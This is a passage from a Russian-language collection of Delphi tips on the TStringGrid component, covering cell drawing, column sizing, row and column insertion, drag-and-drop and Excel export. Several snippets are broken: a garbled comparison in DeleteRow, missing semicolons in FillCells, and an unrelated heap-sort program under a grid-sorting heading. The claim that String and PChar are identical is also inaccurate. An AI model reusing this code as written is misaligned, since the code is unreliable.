              CountWord := CountWord + 1;
            end;
            MassCurYDef := ARect.Bottom - MassCurYDef - 2;
            CountWord := 0;
            MeanCurY := -MassCurY[CountWord];
            while CountWord <= CountI do
            begin
              MeanCurY := MeanCurY + MassCurY[CountWord];
              MassCurY[CountWord] := MassCurYDef + MeanCurY;
              CountWord := CountWord + 1;
            end;
            CountWord := -1;
            while CountWord <= CountI do
            begin
              CountWord := CountWord + 1;
              if MassCurY[CountWord] < (ARect.Top + 2) then
                Continue;
              { выводим слово }
              TextOut(MassCurX[CountWord], MassCurY[CountWord],
                MassWord[CountWord]);
            end;
          end;
          VisualCanvas;
        end;
    end;
  end;
begin
  VisualBox;
  VisualCanvas;
  { Начинаем рисование с верхнего левого угла ячейки }
  CurXDef := ARect.Left;
  CurYDef := ARect.Top;
  CurX := CurXDef + 2;
  CurY := CurYDef + 2;
  { Здесь мы получаем содержание ячейки }
  Sentence := Cells[ACol, ARow];
  { Если ячейка пуста выходим из процедуры }
  if Sentence = '' then
    Exit;
  { Проверяем длину строки (не более 256 символов) }
  if Length(Sentence) > 256 then
  begin
    MessageBox(0, 'Число символов не должно быть более 256.',
      'Ошибка в таблице', mb_OK);
    Cells[ACol, ARow] := '';
    Exit;
  end;
  { Узнаем сколько в предложении слов и задаем размерность массивов }
  SpacePos := Pos(' ', Sentence);
  { Узнаем тип выравнивания текста }
  if gdFixed in AState then
    Alig := AlignCaption
  else
    Alig := AlignText;
  VisualText(Alig);
end;
procedure TNewStringGrid.SetAlignCaption(Value: TAlignText);
begin
  if Value <> FAlignCaption then
    FAlignCaption := Value;
end;
procedure TNewStringGrid.SetAlignText(Value: TAlignText);
begin
  if Value <> FAlignText then
    FAlignText := Value;
end;
procedure TNewStringGrid.SetCenter(Value: Boolean);
begin
  if Value <> FCenter then
    FCenter := Value;
end;
end.

Авторазмер ширины колонок TStringGrid.

Автор: Neil J. Rubenking Я использую компонент StringGrid и хотел бы менять ширину его колонок в соответствии с расположенным в них текстом, другими словами я хочу чтобы весь текст в них был виден, но как это сделать?

Попробуйте это:

procedure TForm1.StringGrid1SelectCell(Sender: TObject; vCol,
  vRow: Longint; var CanSelect: Boolean);
var
  Wid: Integer;
begin
  with Sender as TStringGrid do
  begin
    Wid := Canvas.TextWidth(Cells[Col, Row] + ' ');
    if Wid > ColWidths[Col] then
      ColWidths[Col] := Wid;
  end;
end;
procedure TForm1.StringGrid1KeyPress(Sender: TObject; var Key: Char);
var
  Wid: Integer;
begin
  if Key = #13 then
    with Sender as TStringGrid do
    begin
      Wid := Canvas.TextWidth(Cells[Col, Row] + ' ');
      if Wid > ColWidths[Col] then
        ColWidths[Col] := Wid;
    end;
end;

Имейте в виду, что в обработчике события OnSelectCell я переименовал параметры Col и Row на vCol и vRow, чтобы избежать путаницы со свойствами StringGrid, имеющими те же имена. StringGrid c данными методами всегда расширяет данную колонку, если вновь добавляемая строка имеет ширину большую чем текущая ширина колонки.

Как перетащить целую колонку из StringGrid в ListBox.

В Object Inspector установите свойство dragmode у StringGrid в dmAutomatic.

Ниже приведён полный код:

type
  TForm1 = class(TForm)
    StringGrid1: TStringGrid;
    ListBox1: TListBox;
    procedure ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
      State: TDragState; var Accept: Boolean);
    procedure ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
    procedure FormCreate(Sender: TObject);
    procedure StringGrid1DragOver(Sender, Source: TObject; X, Y: Integer;
      State: TDragState; var Accept: Boolean);
    procedure StringGrid1DragDrop(Sender, Source: TObject; X, Y: Integer);
  private
    { Private declarations }
    XMouseCord: Integer;
    StartDrag: Boolean;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
  State: TDragState; var Accept: Boolean);
begin
  Accept := Source is TStringGrid;
end;
procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
var
  i: integer;
  ColumVal, CurrentCol: Integer;
begin
  if Source is TStringGrid then
  begin
    //Вычисляем колонку
    ColumVal := 0;
    CurrentCol := 0;
    for i := 0 to TStringGrid(Source).ColCount - 1 do
    begin
      ColumVal := ColumVal + TStringGrid(Source).ColWidths[i];
      if XMouseCord <= ColumVal then
      begin
        CurrentCol := i;
        break;
      end;
    end;
    //Убеждаемся, что это не первая колонка, которая не содержит данных
    if CurrentCol <> 0 then
    begin
      for i := 1 to TStringGrid(Source).RowCount - 1 do
      begin
        ListBox1.items.Add(TStringGrid(Source).Cells[CurrentCol, i]);
      end;
    end;
    StartDrag := True;
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
//Для демонстрационных целей
  with StringGrid1 do
  begin
    Cells[1, 1] := 'T1';
    Cells[1, 2] := 'T2';
    Cells[1, 3] := 'T3';
    Cells[1, 4] := 'T4';
    Cells[2, 1] := 'T5';
    Cells[2, 2] := 'T6';
    Cells[2, 3] := 'T7';
    Cells[2, 4] := 'T8';
    Cells[3, 1] := 'T9';
    Cells[3, 2] := 'T10';
    Cells[3, 3] := 'T11';
    Cells[3, 4] := 'T12';
    Cells[4, 1] := 'T13';
    Cells[4, 2] := 'T14';
    Cells[4, 3] := 'T15';
    Cells[4, 4] := 'T16';
  end;
  StartDrag := True;
end;
procedure TForm1.StringGrid1DragOver(Sender, Source: TObject; X,
  Y: Integer; State: TDragState; var Accept: Boolean);
begin
  //Сохраняем колонку, когда начинается перетаскивание.
  if StartDrag then
  begin
    XMouseCord := X;
    StartDrag := False;
  end;
end;
procedure TForm1.StringGrid1DragDrop(Sender, Source: TObject; X,
  Y: Integer);
begin
  //В данном случае помещаем е¸ на грид
  StartDrag := True;
end;

Как удалить выделенную запись из TStringGrid.

Автор: MBo.

procedure TForm1.Button3Click(Sender: TObject);
var
  i,j: Integer;
begin
  j:=SG1.Row; // строка с выделением
  SG1.Rows[j].Clear;
  for i:=j to SG1.RowCount-2 do
    SG1.Rows[i].Assign(SG1.Rows[i+1]);
  SG1.RowCount:=SG1.RowCount-1;
end;

Цвет неактивной ячейки StringGrid.

Статьи по Delphi (016)…

Автор: Neil J. Rubenking

...если я щелкаю на любой ячейке StringGrid2, последняя выбранная ячейка в StringGrid1 становится синей...

Создайте обработчик (если он отсутствует) события сетки OnDrawCell и включите в него следующий код:

procedure TForm1.StringGrid3DrawCell(Sender: TObject; vCol,
  vRow: Longint; Rect: TRect; State: TGridDrawState);
begin
  if Sender = ActiveControl then
    Exit;
  if not (gdSelected in State) then
    Exit;
  with Sender as TStringGrid do
  begin
    Canvas.Brush.Color := Color;
    Canvas.Font.Color := Font.Color;
    Canvas.TextRect(Rect, Rect.Left + 2, Rect.Top + 2,
      Cells[vCol, vRow]);
  end;
end;

Имейте в виду, что в обработчике события OnDrawCell я переименовал параметры Col и Row на vCol и vRow, чтобы избежать путаницы со свойствами StringGrid, имеющими те же имена. Данный метод выполняется немедленно после того, как сетка становится неактивной, и после того как запрошенная ячейка становится НЕвыбранной. В любом из этих случаев вы должны нарисовать невыбранную ячейку для НЕАКТИВНОЙ сетки - т.е. в тех случаях, когда у вас получается "неправильный" цвет. Вы просто берете работу Delphi по закрашиванию ячеек на себя, пропуская defaultDrawing (отрисовку по умолчанию), для таких ячеек, но в то же время разрешая Delphi поработать за вас во всех остальных случаях.

После первого щелчка начать редактировать.

Автор: Rick Rogers

Включите goAlwaysShowEditor в свойство TStringGrid Options.

Вставка и удаление строк в StringGrid.

Автор: Dennis Passmore ...я не нашел никаких методов для вставки и удаления строк... Поскольку свойство Cols[x] компонента TStringGrid реально является компонентом TStrings, все методы TStrings применимы также и к Cols[x].

Недавно в интернете я нашел реализацию расширенных функций TStringGrid:

(*
Создано:               Dennis Passmore
                       1929 Mango Tree Drive
                       Edgewater, Fl. 32141
                       CIS: 71640,2464
                       Март 1, 1996
Данный код свободен в использовании при одном условии:
в исходном коде должна присутствовать указанная выше кредитка
со ссылкой на автора.
Примечание по использованию кода:
Всякий раз при удалении Row (строки) или Column (колонки)
проверяйте наличие и удаляйте любые объекты, которые могли
быть назначены любой ячейке в строке или колонке, которые вы
собираетесь удалять, поскольку данный код не может знать ни
размера, ни типа ассигнованных ими объектов.
*)
unit GridFunc;
interface
uses
  Sysutils, WinProcs, Grids;
procedure InsertRow(Sender: TStringGrid; ToIndex: Longint);
procedure DeleteRow(Sender: TStringGrid; FromIndex: Longint);
procedure InsertColumn(Sender: TStringGrid; ToIndex: Longint);
procedure DeleteColumn(Sender: TStringGrid; FromIndex: Longint);
implementation
type
  TCSGrid = class(TStringGrid)
  private
  public
    procedure MoveRow(FromIndex, ToIndex: Longint);
    procedure MoveColumn(FromIndex, ToIndex: Longint);
  end;
procedure TCSGrid.MoveRow(FromIndex, ToIndex: Longint);
begin
  RowMoved(FromIndex, ToIndex); { Защищенный метод TStringGrid }
end;
procedure TCSGrid.MoveColumn(FromIndex, ToIndex: Longint);
begin
  ColumnMoved(FromIndex, ToIndex); { Защищенный метод TStringGrid }
end;
procedure InsertRow(Sender: TStringGrid; ToIndex: Longint);
var
  xx, yy: Integer;
begin
  if ToIndex >= 0 then
    with TCSGrid(Sender) do
      if (ToIndex <= RowCount) then
      begin
        RowCount := RowCount + 1;
        xx := RowCount - 1;
        for yy := 0 to ColCount - 1 do
        begin
          Cells[yy, xx] := ' ';
          ObJects[yy, xx] := nil;
        end;
        if ToIndex < RowCount - 1 then
          MoveRow(RowCount - 1, ToIndex);
      end
      else
        MessageBeep(0)
    else
      MessageBeep(0);
end;
procedure DeleteRow(Sender: TStringGrid; FromIndex: Longint);
begin
  if FromIndex > l;
  = 0 then
    with TCSGrid(Sender) do
      if (RowCount > 0) and (FromIndex < RowCount) then
      begin
        if (FromIndex < RowCount - 1) then
          MoveRow(FromIndex, RowCount - 1);
        Rows[RowCount - 1].Clear;
        RowCount := RowCount - 1;
      end
      else
        MessageBeep(0)
    else
      MessageBeep(0);
end;
procedure InsertColumn(Sender: TStringGrid; ToIndex: Longint);
var
  xx, yy: Integer;
begin
  if ToIndex >= 0 then
    with TCSGrid(Sender) do
      if (ToIndex <= ColCount) then
      begin
        ColCount := ColCount + 1;
        xx := ColCount - 1;
        Cols[xx].BeginUpdate;
        for yy := 0 to RowCount - 1 do
        begin
          Cells[xx, yy] := ' ';
          ObJects[xx, yy] := nil;
        end;
        Cols[xx].EndUpdate;
        if ToIndex < ColCount - 1 then
          MoveColumn(ColCount - 1, ToIndex);
      end
      else
        MessageBeep(0)
    else
      MessageBeep(0);
end;
procedure DeleteColumn(Sender: TStringGrid; FromIndex: Longint);
begin
  if FromIndex >= 0 then
    with TCSGrid(Sender) do
      if (ColCount > 0) and (FromIndex < ColCount) then
      begin
        if (FromIndex < ColCount - 1) then
          MoveColumn(FromIndex, ColCount - 1);
        Cols[ColCount - 1].Clear;
        ColCount := ColCount - 1;
      end
      else
        MessageBeep(0)
    else
      MessageBeep(0);
end;
end.

Сортировка StringGrid с целыми значения.

 program H;
 uses WinCrt, SysUtils;
   const
     min = 10;
     max = 13;
     maxHeap = 1 shl max;
   type
     heap = array [1..maxHeap] of integer;
     heapBase = ^heap;
   var
     currentSize, heapSize: integer;
     A: heapBase;
   procedure SwapInts (var a, b: integer);
   var
     t: integer;
   begin
     t := a;
     a := b;
     b := t
   end;
   procedure InitHeap (size: integer);
   var
     i: integer;
   begin
     heapSize := size;
     currentSize := size;
     Randomize;
     for i := 1 to size do
       A^[i] := Random(size) + 1;
   end;
   procedure Heapify (i: integer);
   var
     left, right, largest: integer;
   begin
     largest := i;
     left := 2 * i;
     right := left + 1;
     if left <= heapSize then
       if A^[left] > A^[i] then
         largest := left;
     if right <= heapSize then
       if A^[right] > A^[largest] then
         largest := right;
     if largest <> i then
       begin
         SwapInts (A^[largest], A^[i]);
         Heapify (largest)
       end
   end;
   procedure BuildHeap;
   var
     i: integer;
   begin
     for i := heapSize div 2 downto 1 do
       Heapify (i)
   end;
   procedure HeapSort;
   var
     i: integer;
   begin
     BuildHeap;
     for i := currentSize downto 2 do
       begin
         SwapInts (A^[i], A^[1]);
         dec (heapSize);
         Heapify (1)
       end
   end;
 type
   TAvgTimes = array [min..max] of TDateTime;
 var
   sTime, eTime, tTime: TDateTime;
   i, idx, size: integer;
   avgTimes: TAvgTimes;
 begin
   tTime := 0;
   i := min;
   size := 1 shl min;
   new (A);
   while i <= max do
     begin
       for idx := 1 to 10 do
         begin
           InitHeap (size);
           sTime := Time;
           HeapSort;
           eTime := Time;
           tTime := tTime + (eTime - sTime)
         end;
       avgTimes[i] := tTime / 10.0;
       inc (i);
       size := size shl 1;
     end;
 end.

StringGrid как DBGrid.

Ну это может выглядеть приблизительно так (возможно нужна некоторая доработка, написал от руки, не проверяя):

table.first;
row := 0;
grid.rowcount := table.recordCount;
while not table.eof do 
begin
  for i := 0 to table.fieldCount-1 do
    grid.cells[i,row] := table.fields[i].asString;
  inc (row);
  table.next;
end;

У меня тоже имееются свои причины использования TStringGrid. Вот мой код, который загружает данные из отфильтрованной таблицы. Он не очень изящен, т.к. реально является лишь черновиком. У меня это работает, а большего мне и не нужно. Работает очень быстро, даже в случае сотни загруженных колонок. Есть много ссылок на внешние переменные. Надеюсь что они не слишком заумные.

procedure TformLookupDB.FillCells;
var
  Row, i: INTEGER;
  w: INTEGER;
  grid: TStringGrid;
begin
  doGrid.RowCount := 0;
  if not ASSIGNED(fDB) then
    EXIT;
  Row := 0;
  for i := LOW(fColWidths) to HIGH(fColWidths) do
    fColWidths[i] := 100
    // Данный временный объект-сетка используется для предохранения от огромного
    // количества подразумеваемых событий Application.ProcessMessages,
    // инициируемых базой данных, и вызывающих противное моргание объекта
    // doGrid. Итак, мы загружаем данные в объект-сетку
    // и затем копируем их в стобцы, начиная с верхней части.
    grid := TStringGrid.Create(Self);
  grid.Visible := FALSE;
  with fDB do
  try
    grid.ColCount := fFields.Count;
    DisableControls;
    // Фильтр был установлен с помощью свойства Self.Filter
    First;
    while not EOF do
    try
      grid.RowCount := Row + 1;
      for i := 0 to grid.ColCount - 1 do
      begin
        grid.Cells[i, Row] :=
          FieldByName(fFields.Strings[i]).AsString
          w := doGrid.Canvas.TEXTWIDTH(grid.Cells[i,
          Row]);
        if fColWidths[i] < w then
          fColWidths[i] := w;
      end
        INC(Row);
    finally
      Next;
    end
  finally
    doGrid.RowCount := grid.RowCount;
    doGrid.ColCount := grid.ColCount;
    for i := 0 to grid.ColCount - 1 do
    begin
      doGrid.Cols[i] := grid.Cols[i];
      doGrid.ColWidths[i] := fColWidths[i] + 4
    end
      grid.Free;
    EnableControls
  end
end;

Ограничение длины поля TStringGrid.

Вероятно, это не очень эффективное решение, но оно будет работать: поместите следующий код в обработчик события onKeyPress:

if key <> #8 then 
begin {допускаем backspace/Del}
  len := length(grid.cells[grid.col, grid.row]);
  if len >= ваша желаемая максимальная длина then 
  begin
    messageBeep (0);
    key := #0;
  end;
end;

После получения вышеуказанным кодом строки s проверяется условие и,

if Length(s) > maxlengthoffield then exit;

Перетащить колонки и строки в StringGrid.

В процессе социологического опроса, проведенного в корпорации "Мелкий-Мягкий", выяснено, что: 99% сотрудников корпорации любят все большое и негибкое.
{ 
  The user can move rows and columns of a StringGrid with the mouse. 
  Can it also be done by code? 
  In the help for TCustomGrid you can see the methods MoveColumn and MoveRow, 
  but they are hidden in TStringGrid. 
  We can make them accessible again by subclassing TStringGrid and 
  declaring these methods as public: 
} 
type 
  TStringGridHack = class(TStringGrid) 
  public 
    procedure MoveColumn(FromIndex, ToIndex: Longint); 
    procedure MoveRow(FromIndex, ToIndex: Longint); 
  end; 
{ 
  The implementation of these methods simply consists of invoking the 
  corresponding method of the ancestor: 
} 
procedure TStringGridHack.MoveColumn(FromIndex, ToIndex: Integer); 
begin 
  inherited; 
end; 
procedure TStringGridHack.MoveRow(FromIndex, ToIndex: Integer); 
begin 
  inherited; 
end; 
// Example, Beispiel: 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  TStringGridHack(StringGrid1).MoveColumn(1, 3); 
end;

Множественный выбор в TStringGrid.

То же самое я проделывал и с DBGrid. (Пока не реализован Shift-MouseDown, только Ctrl-MouseDown). Для TStringGrid вам нужно выполнить следующие шаги: Заполните сетку, связывая Objects[0, ARow] с некоторым логическим объектом типа:
TBooleanObject = class(TObject)
public
  Flag: Boolean;
end;
В обработчике события OnMouseDown и OnKeyDown измените флаг, как того требует ситуация. В обработчике события OnDrawCell отрисуйте строку согласно флагу Objects[0,ARow].

Правое выравнивание ячеек TStringGrid.

Статьи по Delphi (016)…

Я полагаю, это лучший метод:

procedure TForm1.GridSumaDrawCell(Sender: TObject; ACol, ARow: Longint;
  ARect: TRect; State: TGridDrawState);
var
  dx: integer;
begin
  with (Sender as TStringGrid).Canvas do
  begin
    Font := GridSuma.Font;
    Pen.Color := clBlack;
    if (ACol = 0) or (ARow = 0) then
    begin
      { Рисуем заголовок }
      Brush.Color := clBtnFace;
      FillRect(ARect);
      TextOut(ARect.Left, ARect.Top, GridSuma.Cells[ACol, ARow])
    end
    else
    begin
      { Рисуем ячейку с правым выравниванием }
      Brush.Color := clWhite;
      FillRect(ARect);
      dx := TextWidth(GridSuma.Cells[ACol, ARow]) + 2;
      TextOut(ARect.Right - dx, ARect.Top, GridSuma.Cells[ACol, ARow])
    end
  end
end;

Сменить цвет выделения в StringGrid.

Статьи по Delphi (016)…

procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer; 
  Rect: TRect; State: TGridDrawState); 
const 
  SelectedColor = Clblue; 
begin 
  if (state = [gdSelected]) then 
    with TStringGrid(Sender), Canvas do 
    begin 
      Brush.Color := SelectedColor; 
      FillRect(Rect); 
      TextRect(Rect, Rect.Left + 2, Rect.Top + 2, Cells[aCol, aRow]); 
    end; 
end;

Фокус ячейки TStringGrid.

Автор: Simon

procedure SetGridFocus(SGrid: TStringGrid; r, c: integer);
var
  SRect: TGridRect;
begin
  with SGrid do
  begin
    SetFocus; {Передаем фокус сетке}
    Row := r; {Устанавливаем Row/Col}
    Col := c;
    SRect.Top := r; {Определяем выбранную область}
    SRect.Left := c;
    SRect.Bottom := r;
    SRect.Right := c;
    Selection := SRect; {Устанавливаем выбор}
  end;
end;

Для вызова процедуры:

SetGridFocus(StringGrid1, 10, 2);
Это всегда срабатывает в случае, если никакая ячейка не выбрана или фокус имеет другой элемент управления.

Надеюсь что помог вам.

Текст в ячейке StringGrid если не помещается переносится на следующую ячейку.

Сначала нужно обработать событие OnDrawCell компонента TStringGrid:

procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
var
  i, x, y: Integer;
begin
  if gdFixed in State then
    Exit;
  if ARow > 1 then
    Exit;
  {Draw row 1 with text from cell 1,1 spanning all cells in the row}
  with sender as TStringGrid do
  begin
    {Extend rect to include grid line on right, if not last cell in row}
    if aCol then
      Rect.Right := Rect.Right + GridlineWidth;
    {Figure out where the text of the first cell would start
    relative to the current cells rect}
    y := Rect.Top + 2;
    x := Rect.Left + 2;
    for i:= 1 to aCol - 1 do
      x := x - ColWidths[i] - GridlineWidth;
    {Paint cell pale yellow}
    Canvas.Brush.Color := $7FFFFF;
    Canvas.Brush.Style := bsSolid;
    Canvas.FillRect( Rect );
    {Paint text of cell 1,1 clipped to current cell}
    Canvas.TextRect( Rect, x, y, Cells[1, 1] );
  end;
end;

По созданию окна изобразим следующее.

procedure TForm1.FormCreate(Sender: TObject);
var
  i, k: Integer;
begin
  with StringGrid1 do
  begin
    cells[1, 1] := 'A rather long line which will span cells';
    for i:= 1 to colcount-1 do
      for k:= 2 to rowcount -1 do
        cells[i,k] := Format( 'Cell[%d, %d]', [i, k]);
  end;
end;

Сохранить StringGrid в Excel файле.

function SaveAsExcelFile(stringGrid: TstringGrid; FileName: string): Boolean; 
const 
  xlWBATWorksheet = -4167; 
var 
  Row, Col: Integer; 
  GridPrevFile: string; 
  XLApp, Sheet: OLEVariant; 
begin 
  Result := False; 
  XLApp  := CreateOleObject('Excel.Application'); 
  try 
    XLApp.Visible := False; 
    XLApp.Workbooks.Add(xlWBatWorkSheet); 
    Sheet      := XLApp.Workbooks[1].WorkSheets[1]; 
    Sheet.Name := 'My Sheet Name'; 
    for col := 0 to stringGrid.ColCount - 1 do 
      for row := 0 to stringGrid.RowCount - 1 do 
        Sheet.Cells[row + 1, col + 1] := stringGrid.Cells[col, row]; 
    try 
      XLApp.Workbooks[1].SaveAs(FileName); 
      Result := True; 
    except 
      // Error ? 
    end; 
  finally 
    if not VarIsEmpty(XLApp) then 
    begin 
      XLApp.DisplayAlerts := False; 
      XLApp.Quit; 
      XLAPP := Unassigned; 
      Sheet := Unassigned; 
    end;
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  if SaveAsExcelFile(stringGrid1, 'c:\MyExcelFile.xls') then 
    ShowMessage('stringGrid saved!');
end; 
{*************************************************} 
// Reiner Schlay http://www.assu-assist.nl/ 
function RefToCell(ARow, ACol: Integer): string; 
begin 
  Result := Chr(Ord('A') + ACol - 1) + i2s(ARow); 
end; 
procedure StringGridToExcel(AGrid: TstringGrid); 
var 
  i, j: Integer; 
  Excel: Application_; 
  Book: Workbook; 
  Sheet: _WorkSheet; 
  Data: OLEVariant; 
begin 
  Data := VarArrayCreate([1, AGrid.RowCount, 1, AGrid.ColCount], 
    varVariant); 
  for i := 0 to AGrid.ColCount - 1 do 
    for j := 0 to AGrid.RowCount - 1 do 
      Data[j + 1, i + 1] := AGrid.Cells[i, j]; 
  Excel := CoApplication_.Create; 
  Book  := Excel.WorkBooks.Add(EmptyParam, 0); 
  Sheet := Excel.Sheets.Add(EmptyParam, EmptyParam, 1, 
    xlWorksheet, 0) as _WorkSheet; 
  Sheet.Range[RefToCell(1, 1), RefToCell(AGrid.RowCount, 
    AGrid.ColCount)].Value := Data; 
  Excel.Visible[0] := True; 
  Excel.UserControl := True; 
end;

StringGrid без выделенной ячейки.

Автор: Jeff Fisher Я пытаюсь показать StringGrid без выделенной ячейки. Первая нефиксированная ячейка всегда имеет состояние "инвертированного" цвета. Я не хочу позволить пользователю редактировать сетку, но эта выделенная ячейка производит впечатление того, что сетка имеет возможность редактирования...

Вам необходимо создать обработчик события OnDrawCell. Это легче чем вы думаете. Вот образец кода, который сделает вас счастливым:

procedure TForm.sgrDrawCells(Sender: TObject; Col, Row: Longint; Rect: TRect;
  State: TGridDrawState);
var
  ACol: longint absolute Col;
  ARow: longint absolute Row;
  Buf: array[byte] of char;
begin
  if State = gdFixed then
    Exit;
  with sgrGrid do
  begin
    Canvas.Font := Font;
    Canvas.Font.Color := clWindowText;
    Canvas.Brush.Color := clWindow;
    Canvas.FillRect(Rect);
    StrPCopy(Buf, Cells[ACol, ARow]);
    DrawText(Canvas.Handle, Buf, -1, Rect,
      DT_SINGLELINE or DT_VCENTER or DT_NOCLIP or DT_LEFT);
  end;
end;

Манипуляция словами в TStringGrid.

procedure TForm1.StringGrid1KeyPress(Sender: TObject; var Key: Char);
var
  s: string;
  c: Byte;
begin
  with StringGrid1 do
    s := Cells[Col, Row];
  if Length(s) = 0 then
  begin
    if Key in ['a'..'z'] then
    begin
      c := Ord(Key) - 32;
      Key := Chr(c);
    end;
    exit;
  end;
  if s[Length(s)] = ' ' then
    if Key in ['a'..'z'] then
    begin
      c := Ord(Key) - 32;
      Key := Chr(c);
    end;
end;

В обработчике события onKeyPress сделайте следующее:

if length(field.text) = 0 then
  key := upCase (key);

Копирование StringList в Memo-поле и обратно.

Нижеприведенный код иллюстрирует копирование TStringList в TMemoField и обратно:

procedure TForm1.ButtonClick(Sender: TObject);
var
  MemFld: TMemoField;
begin
  MemFld := Table1.FieldByName(DBMemo1.DataField) as TMemoField;
  if Sender = Button1 then
    MemFld.Assign(StrList)
  else
  if Sender = Button2 then
    StrLst.Assign(MemFld);
end;

Примечание: Table1 должна находиться в режиме редактирования перед нажатием кнопки Button1.

Обновление картинки в ячейке StringGrid.

Автор: SottNick.

Если в таблице вы используете событие OnDrawCell для помещения в ячейку рисунка, причем различного, в зависимости, например, от соответствующего значения в двумерном массиве, и вам надо, чтобы после изменения значения в массиве обновилось изображение (Refresh не подходит, т.к. будет мелькать), то измените значение у ячейки (DrawGrid не годится):

StringGrid1.Cells[i,j]:=''; 

Или.

StringGrid1.Cells[i,j]:=StringGrid1.Cells[i,j]; 

Если там что-то хранится.

String и PChar.

Автор: Den is Com

В 32-битном Дельфи String и PChar это одно и тоже. Старый String из Дельфи 1 - это shortstring. Используйте прямое преобразование PChar(String_variable) - это сохранит память при использовании функций WIN32.

Как преобразовать String в Binary и наоборот.

Автор: Rem

function BinStrToByte(a_sBinStr: string): byte;
var
 i: integer;
begin
 Result := 0;
 for i := 1 to length(a_sBinStr) do
   Result := (Result shl 1) or byte(a_sBinStr[i] = '1');
end;
function ByteToBinStr(a_bByte: byte): string;
var
 i: integer;
begin
 SetLength(Result, 8);
 for i := 8 downto 1 do
 begin
   Result[i] := chr($30 + (a_bByte and 1));
   a_bByte := a_bByte shr 1;
 end;
end;
// Примечание: вторая функция использует тот факт,
// что в таблице ANSI коды '0' = $30 и '1' = $31

Создание формы на основе строки.

Обзор В данном документе рассказывается о том, как в Dе1рhi можно создать экземпляр формы на основе строки, содержащей имя типа. Код примера прилагается. На кого расчитан данный документ? На любого программиста, имеющего начальные знания для работы с Delphi. Имеет отношение к любой версии Delphi.

Чтобы можно было создать экземпляр формы на основе строки, содержащей имя типа, вы должны в первую очередь зарегистрировать данный тип в Delphi. Это выполняется функцией "RegisterClass". RegisterClass описан следующим образом:

procedure RegisterClass(AClass: TPersistentClass); 
AClass - класс TPersistent. Другими словами, класс, который вы хотите регистрировать, в какой-то точке должен наследоваться от TPersistent. Поскольку все элементы управления Delphi, включая формы, соблюдают это требование, то проблем быть не должно. Но такой способ не пройдет, если регистрируемые классы наследуются непосредственно от TObject.

После регистрации класса, вы можете найти указатель на тип, передавая строку в FindClass. Функция возвратит ссылку на класс, которую можно использовать для создания формы. Небольшой поясняющий пример:

procedure TForm1.Button2Click(Sender: TObject);
var
b : TForm;
f : TFormClass;
begin
f := TFormClass(findClass('Tform2'));
b := f.create(self);
b.show;
end;
Данный код создаст тип TForm2, который мы зарегистрировали с помощью RegisterClass. Демонстрационный проект Создайте новый проект, затем добавьте 4 формы так, чтобы в общей сложности получилось 5. В реальном проекте вы можете заполнить их необходимыми элементами управления, для данного же примера это не важно.

В первой форме разместите поле редактирования и кнопку. Удалите все формы, кроме главной, из списка AutoCreate. Наконец, скопируйте приведенный ниже код в unit1, он позволит вам создавать форму по имени типа класса, введенному в поле редактирования.

unit Unit1;
interface
uses
  Unit2, Unit3, Unit4, Unit5, Windows, Messages,
  SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
  RegisterClass(Tform2);
  RegisterClass(Tform3);
  RegisterClass(Tform4);
  RegisterClass(Tform5);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  f: Tformclass;
begin
  f := tformclass(findClass(edit1.text));
  with f.create(self) do
    show;
end;

Строковая нумерация.

Автор: Peter Below Просто объявите перечислимый тип, информацию о котором можно получить во время выполнения программы, и создайте класс, который использует данный тип в published-свойстве.

ClassInfo - метод класса, поэтому вы можете его использовать вместо экземпляра объекта. Но прежде вам необходимо заиметь этот класс, иначе никакого RTTI...

{$Z+}
type
  TMyEnum = (one, two, three);
  TEnumClass = class(TComponent)
  private
    FEnum: TMYEnum;
  published
    property Enum: TMyEnum read FEnum;
  end;
procedure TForm1.BtnTestClick(Sender: TObject);
var
  pOneName: PString;
  PropInfo: PPropInfo;
begin
  PropInfo := GetPropInfo(TEnumClass.ClassInfo, 'ENUM');
  pOneName := GetEnumName(PropInfo^.PropType, Ord(One));
  if pOneName <> nil then
    ShowMessage(pOneName^)
  else
    ShowMessage('Nil!');
end;

Черная магия <G>!

Чем отличается тип String в Delphi2 и выше от аналогичного в Delphi1.

Автор: Nomadic.

B D2 и выше на самом деле используется тип LongString вместо String, а старый тип теперь обзывается ShortString (о чем, кстати, написано в help). Из того же help можно узнать, что указатель LongString указывает на nullterminated string и потому возможно обычное приведение типа LongString к PChar (о чем я и написал), которое сводится просто к смене вывески. Там же можно узнать, что длина строки хранится в dword перед указателем. Есть также намек на то, что при присваивании другой строке информация не копируется, а увеличивается только счетчик ссылок. Более подробную информацию можно почерпнуть из system.pas:

type
StrRec = record
allocSiz: Longint;
refCnt: Longint;
length: Longint;
end;
От себя добавлю: Сама переменная LongString указывает на байт, непосредственно следующий за этой процедурой, там же находится собственно значение строки. Значение '' (пустая строка) представляется как указатель nil, кстати, поэтому сравнение str='' это быстрая операция. Теперь подробнее о счетчике ссылок. Я уже говорил, что при присваивании копирования не происходит, а только увеличивается счетчик. Когда он уменьшается? Ну, очевидно, когда в результате операции значение строки меняется, то для старого значения счетчик уменьшается. Это понятно. Более непонятно, когда освобождаются значения, на которые ссылаются поля некого класса. Это происходит в System. TObject.FreeInstance при вызове _FinalizeRecord, а информация берется из vtInitTable (кстати, здесь же очищаются Variant). Ещё более непонятно, когда освобождаются переменые String, которые описаны как локальные в процедурах/функциях/методах. Здесь работает компилятор, которые вставляет эти неявные операции в код этой функции.

